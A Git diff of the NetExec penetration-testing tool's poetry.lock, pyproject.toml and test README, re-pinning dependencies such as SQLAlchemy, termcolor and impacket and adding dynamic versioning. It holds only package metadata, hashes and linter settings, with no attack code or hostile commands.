{file = "SQLAlchemy-1.4.50-cp38-cp38-macosx_11_0_x86_64.whl", hash = "sha256:35c7ed095a4b17dbc8813a2bfb38b5998318439da8e6db10a804df855e3a9e3a"},
|
||||
{file = "SQLAlchemy-1.4.50-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f1fcee5a2c859eecb4ed179edac5ffbc7c84ab09a5420219078ccc6edda45436"},
|
||||
{file = "SQLAlchemy-1.4.50-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fbaf6643a604aa17e7a7afd74f665f9db882df5c297bdd86c38368f2c471f37d"},
|
||||
{file = "SQLAlchemy-1.4.50-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:2e70e0673d7d12fa6cd363453a0d22dac0d9978500aa6b46aa96e22690a55eab"},
|
||||
{file = "SQLAlchemy-1.4.50-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8b881ac07d15fb3e4f68c5a67aa5cdaf9eb8f09eb5545aaf4b0a5f5f4659be18"},
|
||||
{file = "SQLAlchemy-1.4.50-cp38-cp38-win32.whl", hash = "sha256:8a219688297ee5e887a93ce4679c87a60da4a5ce62b7cb4ee03d47e9e767f558"},
|
||||
{file = "SQLAlchemy-1.4.50-cp38-cp38-win_amd64.whl", hash = "sha256:a648770db002452703b729bdcf7d194e904aa4092b9a4d6ab185b48d13252f63"},
|
||||
{file = "SQLAlchemy-1.4.50-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:4be4da121d297ce81e1ba745a0a0521c6cf8704634d7b520e350dce5964c71ac"},
|
||||
{file = "SQLAlchemy-1.4.50-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3f6997da81114daef9203d30aabfa6b218a577fc2bd797c795c9c88c9eb78d49"},
|
||||
{file = "SQLAlchemy-1.4.50-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bdb77e1789e7596b77fd48d99ec1d2108c3349abd20227eea0d48d3f8cf398d9"},
|
||||
{file = "SQLAlchemy-1.4.50-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:128a948bd40780667114b0297e2cc6d657b71effa942e0a368d8cc24293febb3"},
|
||||
{file = "SQLAlchemy-1.4.50-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f2d526aeea1bd6a442abc7c9b4b00386fd70253b80d54a0930c0a216230a35be"},
|
||||
{file = "SQLAlchemy-1.4.50-cp39-cp39-win32.whl", hash = "sha256:a7c9b9dca64036008962dd6b0d9fdab2dfdbf96c82f74dbd5d86006d8d24a30f"},
|
||||
{file = "SQLAlchemy-1.4.50-cp39-cp39-win_amd64.whl", hash = "sha256:df200762efbd672f7621b253721644642ff04a6ff957236e0e2fe56d9ca34d2c"},
|
||||
{file = "SQLAlchemy-1.4.50.tar.gz", hash = "sha256:3b97ddf509fc21e10b09403b5219b06c5b558b27fc2453150274fa4e70707dbf"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
greenlet = {version = "!=0.4.17", markers = "platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\""}
|
||||
typing-extensions = ">=4.6.0"
|
||||
greenlet = {version = "!=0.4.17", markers = "python_version >= \"3\" and (platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\")"}
|
||||
|
||||
[package.extras]
|
||||
aiomysql = ["aiomysql (>=0.2.0)", "greenlet (!=0.4.17)"]
|
||||
aioodbc = ["aioodbc", "greenlet (!=0.4.17)"]
|
||||
aiosqlite = ["aiosqlite", "greenlet (!=0.4.17)", "typing_extensions (!=3.10.0.1)"]
|
||||
aiosqlite = ["aiosqlite", "greenlet (!=0.4.17)", "typing-extensions (!=3.10.0.1)"]
|
||||
asyncio = ["greenlet (!=0.4.17)"]
|
||||
asyncmy = ["asyncmy (>=0.2.3,!=0.2.4,!=0.2.6)", "greenlet (!=0.4.17)"]
|
||||
mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2,!=1.1.5)"]
|
||||
asyncmy = ["asyncmy (>=0.2.3,!=0.2.4)", "greenlet (!=0.4.17)"]
|
||||
mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2)"]
|
||||
mssql = ["pyodbc"]
|
||||
mssql-pymssql = ["pymssql"]
|
||||
mssql-pyodbc = ["pyodbc"]
|
||||
mypy = ["mypy (>=0.910)"]
|
||||
mysql = ["mysqlclient (>=1.4.0)"]
|
||||
mypy = ["mypy (>=0.910)", "sqlalchemy2-stubs"]
|
||||
mysql = ["mysqlclient (>=1.4.0)", "mysqlclient (>=1.4.0,<2)"]
|
||||
mysql-connector = ["mysql-connector-python"]
|
||||
oracle = ["cx_oracle (>=8)"]
|
||||
oracle-oracledb = ["oracledb (>=1.0.1)"]
|
||||
oracle = ["cx-oracle (>=7)", "cx-oracle (>=7,<8)"]
|
||||
postgresql = ["psycopg2 (>=2.7)"]
|
||||
postgresql-asyncpg = ["asyncpg", "greenlet (!=0.4.17)"]
|
||||
postgresql-pg8000 = ["pg8000 (>=1.29.1)"]
|
||||
postgresql-psycopg = ["psycopg (>=3.0.7)"]
|
||||
postgresql-pg8000 = ["pg8000 (>=1.16.6,!=1.29.0)"]
|
||||
postgresql-psycopg2binary = ["psycopg2-binary"]
|
||||
postgresql-psycopg2cffi = ["psycopg2cffi"]
|
||||
postgresql-psycopgbinary = ["psycopg[binary] (>=3.0.7)"]
|
||||
pymysql = ["pymysql"]
|
||||
sqlcipher = ["sqlcipher3_binary"]
|
||||
pymysql = ["pymysql", "pymysql (<1)"]
|
||||
sqlcipher = ["sqlcipher3-binary"]
|
||||
|
||||
[[package]]
|
||||
name = "sspilib"
|
||||
@@ -2142,18 +2168,14 @@ widechars = ["wcwidth"]
|
||||
|
||||
[[package]]
|
||||
name = "termcolor"
|
||||
version = "2.0.1"
|
||||
description = "ANSI color formatting for output in terminal"
|
||||
version = "1.1.0"
|
||||
description = "ANSII Color formatting for output in terminal."
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
python-versions = "*"
|
||||
files = [
|
||||
{file = "termcolor-2.0.1-py3-none-any.whl", hash = "sha256:7e597f9de8e001a3208c4132938597413b9da45382b6f1d150cff8d062b7aaa3"},
|
||||
{file = "termcolor-2.0.1.tar.gz", hash = "sha256:6b2cf769e93364a2676e1de56a7c0cff2cf5bd07f37e9cc80b0dd6320ebfe388"},
|
||||
{file = "termcolor-1.1.0.tar.gz", hash = "sha256:1d6d69ce66211143803fbc56652b41d73b4a400a2891d7bf7a1cdf4c02de613b"},
|
||||
]
|
||||
|
||||
[package.extras]
|
||||
tests = ["pytest", "pytest-cov"]
|
||||
|
||||
[[package]]
|
||||
name = "terminaltables"
|
||||
version = "3.1.10"
|
||||
@@ -2176,6 +2198,17 @@ files = [
|
||||
{file = "tomli-2.0.1.tar.gz", hash = "sha256:de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "tomlkit"
|
||||
version = "0.12.4"
|
||||
description = "Style preserving TOML library"
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
files = [
|
||||
{file = "tomlkit-0.12.4-py3-none-any.whl", hash = "sha256:5cd82d48a3dd89dee1f9d64420aa20ae65cfbd00668d6f094d7578a78efbb77b"},
|
||||
{file = "tomlkit-0.12.4.tar.gz", hash = "sha256:7ca1cfc12232806517a8515047ba66a19369e71edf2439d0f5824f91032b6cc3"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "tqdm"
|
||||
version = "4.66.1"
|
||||
@@ -2307,4 +2340,4 @@ testing = ["big-O", "jaraco.functools", "jaraco.itertools", "more-itertools", "p
|
||||
[metadata]
|
||||
lock-version = "2.0"
|
||||
python-versions = "^3.8.0"
|
||||
content-hash = "0bbd6a14b3478776b71e58b674942a5053c24fd2f802cc45ccd968f205a80167"
|
||||
content-hash = "9926a84b8b7af5447a82db8b1e6723a3cbd46c33f3ea0697a6f2edb69931e01c"
|
||||
+132
-126
@@ -1,126 +1,132 @@
|
||||
[tool.poetry]
|
||||
name = "netexec"
|
||||
version = "1.1.0"
|
||||
description = "The Network Execution tool"
|
||||
authors = [
|
||||
"Marshall Hallenbeck <[email protected]>",
|
||||
"Alexander Neff <[email protected]>",
|
||||
"Thomas Seigneuret <[email protected]>"
|
||||
]
|
||||
readme = "README.md"
|
||||
homepage = "https://github.com/Pennyw0rth/NetExec"
|
||||
repository = "https://github.com/Pennyw0rth/NetExec"
|
||||
exclude = []
|
||||
include = [
|
||||
"nxc/data/*",
|
||||
"nxc/modules/*"
|
||||
]
|
||||
license = "BSD-2-Clause"
|
||||
classifiers = [
|
||||
'Environment :: Console',
|
||||
'License :: OSI Approved :: BSD License',
|
||||
'Programming Language :: Python :: 3',
|
||||
'Topic :: Security',
|
||||
]
|
||||
packages = [
|
||||
{ include = "nxc"}
|
||||
]
|
||||
|
||||
[tool.poetry.scripts]
|
||||
nxc = 'nxc.netexec:main'
|
||||
netexec = 'nxc.netexec:main'
|
||||
NetExec = 'nxc.netexec:main'
|
||||
nxcdb = 'nxc.nxcdb:main'
|
||||
|
||||
[tool.poetry.dependencies]
|
||||
python = "^3.8.0"
|
||||
requests = ">=2.27.1"
|
||||
beautifulsoup4 = ">=4.11,<5"
|
||||
lsassy = ">=3.1.8"
|
||||
termcolor = "2.0.1"
|
||||
msgpack = "^1.0.0"
|
||||
neo4j = "^5.0.0"
|
||||
pylnk3 = "^0.4.2"
|
||||
pypsrp = "^0.8.1"
|
||||
paramiko = "^3.3.1"
|
||||
impacket = { git = "https://github.com/Pennyw0rth/impacket.git", branch = "gkdi" }
|
||||
dsinternals = "^1.2.4"
|
||||
xmltodict = "^0.13.0"
|
||||
terminaltables = "^3.1.0"
|
||||
aioconsole = "^0.6.2"
|
||||
pywerview = "^0.3.3" # pywerview 5 requires libkrb5-dev installed which is not default on kali (as of 9/23)
|
||||
minikerberos = "^0.4.1"
|
||||
pypykatz = "^0.6.8"
|
||||
aardwolf = "^0.2.7"
|
||||
dploot = "^2.2.1"
|
||||
bloodhound = "^1.6.1"
|
||||
asyauth = "~0.0.14"
|
||||
masky = "^0.2.0"
|
||||
sqlalchemy = "^2.0.4"
|
||||
aiosqlite = "^0.19.0"
|
||||
pyasn1-modules = "^0.3.0"
|
||||
rich = "^13.3.5"
|
||||
python-libnmap = "^0.7.3"
|
||||
oscrypto = { git = "https://github.com/Pennyw0rth/oscrypto" } # Pypi version currently broken, see: https://github.com/wbond/oscrypto/issues/78 (as of 9/23)
|
||||
argcomplete = "^3.1.4"
|
||||
python-dateutil = ">=2.8.2"
|
||||
|
||||
[tool.poetry.group.dev.dependencies]
|
||||
flake8 = "*"
|
||||
shiv = "*"
|
||||
pytest = "^7.2.2"
|
||||
ruff = "=0.0.292"
|
||||
|
||||
[build-system]
|
||||
requires = ["poetry-core>=1.2.0"]
|
||||
build-backend = "poetry.core.masonry.api"
|
||||
|
||||
[tool.ruff]
|
||||
# Ruff doesn't enable pycodestyle warnings (`W`) or
|
||||
# McCabe complexity (`C901`) by default.
|
||||
# Other options: pep8-naming (N), flake8-annotations (ANN), flake8-blind-except (BLE), flake8-commas (COM), flake8-pyi (PYI), flake8-pytest-style (PT), flake8-unused-arguments (ARG), etc
|
||||
# Should tackle flake8-use-pathlib (PTH) at some point
|
||||
select = ["E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF"]
|
||||
ignore = [ "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D415", "D417", "D419", "RET503", "RET505", "RET506", "RET507", "RET508", "PERF203", "RUF012"]
|
||||
|
||||
# Allow autofix for all enabled rules (when `--fix`) is provided.
|
||||
fixable = ["ALL"]
|
||||
unfixable = []
|
||||
|
||||
# Exclude a variety of commonly ignored directories.
|
||||
exclude = [
|
||||
".bzr",
|
||||
".direnv",
|
||||
".eggs",
|
||||
".git",
|
||||
".git-rewrite",
|
||||
".hg",
|
||||
".mypy_cache",
|
||||
".nox",
|
||||
".pants.d",
|
||||
".pytype",
|
||||
".ruff_cache",
|
||||
".svn",
|
||||
".tox",
|
||||
".venv",
|
||||
"__pypackages__",
|
||||
"_build",
|
||||
"buck-out",
|
||||
"build",
|
||||
"dist",
|
||||
"node_modules",
|
||||
"venv",
|
||||
]
|
||||
per-file-ignores = {}
|
||||
|
||||
line-length = 65000
|
||||
|
||||
# Allow unused variables when underscore-prefixed.
|
||||
dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$"
|
||||
|
||||
target-version = "py37"
|
||||
|
||||
[tool.ruff.flake8-quotes]
|
||||
docstring-quotes = "double"
|
||||
inline-quotes = "double"
|
||||
multiline-quotes = "double"
|
||||
[tool.poetry]
|
||||
name = "netexec"
|
||||
version = "1.1.0"
|
||||
description = "The Network Execution tool"
|
||||
authors = [
|
||||
"Marshall Hallenbeck <[email protected]>",
|
||||
"Alexander Neff <[email protected]>",
|
||||
"Thomas Seigneuret <[email protected]>"
|
||||
]
|
||||
readme = "README.md"
|
||||
homepage = "https://github.com/Pennyw0rth/NetExec"
|
||||
repository = "https://github.com/Pennyw0rth/NetExec"
|
||||
exclude = []
|
||||
include = [
|
||||
"nxc/data/*",
|
||||
"nxc/modules/*"
|
||||
]
|
||||
license = "BSD-2-Clause"
|
||||
classifiers = [
|
||||
'Environment :: Console',
|
||||
'License :: OSI Approved :: BSD License',
|
||||
'Programming Language :: Python :: 3',
|
||||
'Topic :: Security',
|
||||
]
|
||||
packages = [
|
||||
{ include = "nxc"}
|
||||
]
|
||||
|
||||
[tool.poetry.scripts]
|
||||
nxc = 'nxc.netexec:main'
|
||||
netexec = 'nxc.netexec:main'
|
||||
NetExec = 'nxc.netexec:main'
|
||||
nxcdb = 'nxc.nxcdb:main'
|
||||
|
||||
[tool.poetry.dependencies]
|
||||
python = "^3.8.0"
|
||||
aardwolf = "^0.2.8"
|
||||
aioconsole = "^0.6.2"
|
||||
aiosqlite = "^0.17.0"
|
||||
argcomplete = "^3.1.4"
|
||||
asyauth = ">=0.0.20"
|
||||
beautifulsoup4 = ">=4.11,<5"
|
||||
bloodhound = "^1.7.2"
|
||||
dploot = "^2.7.1"
|
||||
dsinternals = "^1.2.4"
|
||||
impacket = { git = "https://github.com/fortra/impacket.git" }
|
||||
lsassy = ">=3.1.10"
|
||||
masky = "^0.2.0"
|
||||
minikerberos = "^0.4.1"
|
||||
msgpack = "^1.0.0"
|
||||
msldap = "^0.5.10"
|
||||
neo4j = "^5.0.0"
|
||||
paramiko = "2.12.0"
|
||||
poetry-dynamic-versioning = "^1.2.0"
|
||||
pyasn1-modules = "^0.2.8"
|
||||
pylnk3 = "^0.4.2"
|
||||
pypsrp = "^0.8.1"
|
||||
pypykatz = "0.6.6"
|
||||
pywerview = "^0.3.3" # pywerview 5 requires libkrb5-dev installed which is not default on kali (as of 9/23)
|
||||
python-dateutil = ">=2.8.2"
|
||||
python-libnmap = "^0.7.3"
|
||||
requests = ">=2.27.1"
|
||||
rich = "^13.3.5"
|
||||
sqlalchemy = "^1.4.50"
|
||||
termcolor = "1.1.0"
|
||||
terminaltables = "^3.1.0"
|
||||
xmltodict = "^0.13.0"
|
||||
|
||||
[tool.poetry.group.dev.dependencies]
|
||||
flake8 = "*"
|
||||
shiv = "*"
|
||||
pytest = "^7.2.2"
|
||||
ruff = "=0.0.292"
|
||||
|
||||
[build-system]
|
||||
requires = ["poetry-core>=1.2.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"]
|
||||
build-backend = "poetry_dynamic_versioning.backend"
|
||||
|
||||
[tool.poetry-dynamic-versioning]
|
||||
enable = true
|
||||
pattern = "(?P<base>\\d+\\.\\d+\\.\\d+)"
|
||||
format = "{base}+{commit}"
|
||||
|
||||
[tool.ruff]
|
||||
# Ruff doesn't enable pycodestyle warnings (`W`) or
|
||||
# McCabe complexity (`C901`) by default.
|
||||
# Other options: pep8-naming (N), flake8-annotations (ANN), flake8-blind-except (BLE), flake8-commas (COM), flake8-pyi (PYI), flake8-pytest-style (PT), flake8-unused-arguments (ARG), etc
|
||||
# Should tackle flake8-use-pathlib (PTH) at some point
|
||||
select = ["E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF"]
|
||||
ignore = [ "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D415", "D417", "D419", "RET503", "RET505", "RET506", "RET507", "RET508", "PERF203", "RUF012"]
|
||||
|
||||
# Allow autofix for all enabled rules (when `--fix`) is provided.
|
||||
fixable = ["ALL"]
|
||||
unfixable = []
|
||||
|
||||
# Exclude a variety of commonly ignored directories.
|
||||
exclude = [
|
||||
".bzr",
|
||||
".direnv",
|
||||
".eggs",
|
||||
".git",
|
||||
".git-rewrite",
|
||||
".hg",
|
||||
".mypy_cache",
|
||||
".nox",
|
||||
".pants.d",
|
||||
".pytype",
|
||||
".ruff_cache",
|
||||
".svn",
|
||||
".tox",
|
||||
".venv",
|
||||
"__pypackages__",
|
||||
"_build",
|
||||
"buck-out",
|
||||
"build",
|
||||
"dist",
|
||||
"node_modules",
|
||||
"venv",
|
||||
]
|
||||
per-file-ignores = {}
|
||||
|
||||
line-length = 65000
|
||||
|
||||
# Allow unused variables when underscore-prefixed.
|
||||
dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$"
|
||||
|
||||
target-version = "py37"
|
||||
|
||||
[tool.ruff.flake8-quotes]
|
||||
docstring-quotes = "double"
|
||||
inline-quotes = "double"
|
||||
multiline-quotes = "double"
|
||||
+1
-1
@@ -5,7 +5,7 @@
|
||||
* Run `pytest` (or `poetry run pytest`)
|
||||
|
||||
### End to End Tests
|
||||
* Install nxc (either in venv or via Poetry)
|
||||
* Install nxc (either in venv or via Poetry): `poetry install --with dev`
|
||||
* Run `python tests/e2e_tests.py -t $IP -u $USER -p $PASS`, with optional `-k` parameter
|
||||
* Poetry: `poetry run python tests/e2e_tests.py -t $IP -u $USER -p $PASS`
|
||||
* To see full errors (that might show real errors not caught by checking the exit code), run with the `--errors` flag
|
||||
File renamed without changes.
Reference in new issue
Block a user